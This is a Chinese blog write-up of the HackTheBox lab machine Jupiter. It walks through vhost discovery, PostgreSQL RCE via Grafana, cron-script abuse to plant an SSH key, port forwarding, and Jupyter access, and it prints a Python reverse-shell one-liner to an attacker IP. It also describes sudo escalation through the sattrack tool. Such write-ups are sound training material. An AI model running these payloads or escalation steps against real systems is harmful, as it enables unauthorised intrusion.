Jupiter - HackTheBox

年轻人的第一台Medium靶机,没想到这么逆天

开局先扫描

体验功能

很漂亮的页面

主页翻了半天什么都没有,目录、js接口什么都找不到。实在没办法去看了一下writeup

虚拟主机扫描

使用gobuster vhost爆破到了kiosk.jupiter.htb虚拟主机名,算是学到新姿势了

一个Grafana

使用API执行SQL语句(这还是Google找到的,国内都是分享某个漏洞)

PostgreSQL RCE

可以执行postgres SQL了,进一步利用参考

https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql#rce

直接试试RCE

拿下 (本以为可以开始提权了就可以美滋滋拿下一台Medium靶机了,没想到这才是噩梦的开始

Get User Flag

PEASS找到了一些信息但没法直接提权,用pspy看一下进程试试

可以看到jovian有在运行jupyter

juno会运行/home/juno/shadow-simulation.sh

/home/juno/.local/bin/shadow /dev/shm/network-simulation.yml

查了一下shadow命令是用来管理密码的,我们看看/dev/shm/network-simulation.yml是什么内容

感觉是个CS架构的脚本,python开个服务端,curl作为客户端去请求

进程中也是这样

脚本由juno执行,拥有它的权限,我直接写一手公钥,实现免密登录

记得给/tmp/test打上777权限,以防juno没权限。静待片刻,就可以免密登录了

终于拿下User Flag

脚本里的内容跟我们在进程里看到的一致

Get Root Flag

进程信息发现jovian开了jupyter-notebook跑脚本/opt/solar-flares/flares.ipynb

PATH这里似乎有得利用

端口开了不少

这里显示我们可以修改/opt/solar-flares下的一些文件,还记得jovian用户执行的Jupyter文件吗,可惜我们不能直接改那个脚本

上面开了挺多端口,外部都访问不到。我们这里考虑整个隧道进去

两层端口转发

VPS上将靶机的3000端口转发到VPS的3000端口上

本地将VPS的3000端口转发到本地的3000端口上

即可通过本地访问到靶机中的127.0.0.1:3000,这里还是那个Grafana,我看看8888是什么

8888是一台Jupyter

参考一下exploit-notes,我们可以找到token直接登录Jupyter,然后Jupyter的控制台可以执行命令,通过之前的进程可以看到这是jovian在跑的,拿下它就可以拿到jovian的权限了

https://exploit-notes.hdks.org/exploit/machine-learning/jupyter-notebook-pentesting/

一手grep拿下token

利用ipynb反弹shell

1
import socket,os,pty;s=socket.socket();s.connect(("10.10.16.76", 9999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")

看到这里允许sudo,我并没有密码,希望是个免密sudo

非常nice

执行一下发现提示我们没有配置文件

但是没用过sattrack这个工具,没有文档看

上网搜了一下,其他地方啥都搜不到,只能看这篇论文了。我是真没想到打个靶机还得看论文…

论文里也是一顿介绍,只能知道这是一个卫星轨道预测和实时跟踪程序,并没有具体的用法和命令。

只能发挥一下CTF余热,strings一下看看能不能发现什么

/tmp/config.json不存在,有可能就是sattrack想要的配置文件

我们创建一个再执行命令,确实现在没有提示找不到配置文件了

但是这配置文件还是不知道怎么写,后面想起/usr/local/share一般会放一些配置案例

直接find开找

复制过来执行一下,这里似乎会去下载tlesources指定的文件。

试一下把tlesources改成flag的地址

终于拿下了

总结一下

太折磨了,主要也是我打得断断续续的(每天下班时间打一下,公司一下又断开回家打)。这波打下来还是学到很多的(虚拟主机扫描、通过Grafana 打PostgreSQL GetShell、用户定时任务脚本提权、两层端口转发打内网服务、恶心的没用过的软件提权)

而且这个sattrack提权还没有writeup,大伙都是有/usr/local/bin/sattrack读写权限,直接

cp /bin/bash /usr/local/bin/sattracksudo /bin/bash就完事了 😓(官方在一个月前修复了这个Bug)

最后,狠狠的给他打个8分(虽然我还没打过Hard


Jupiter - HackTheBox
http://aurey7.github.io.git/2023/07/18/Jupiter-HackTheBox/
作者
Aurey7
发布于
2023年7月18日
许可协议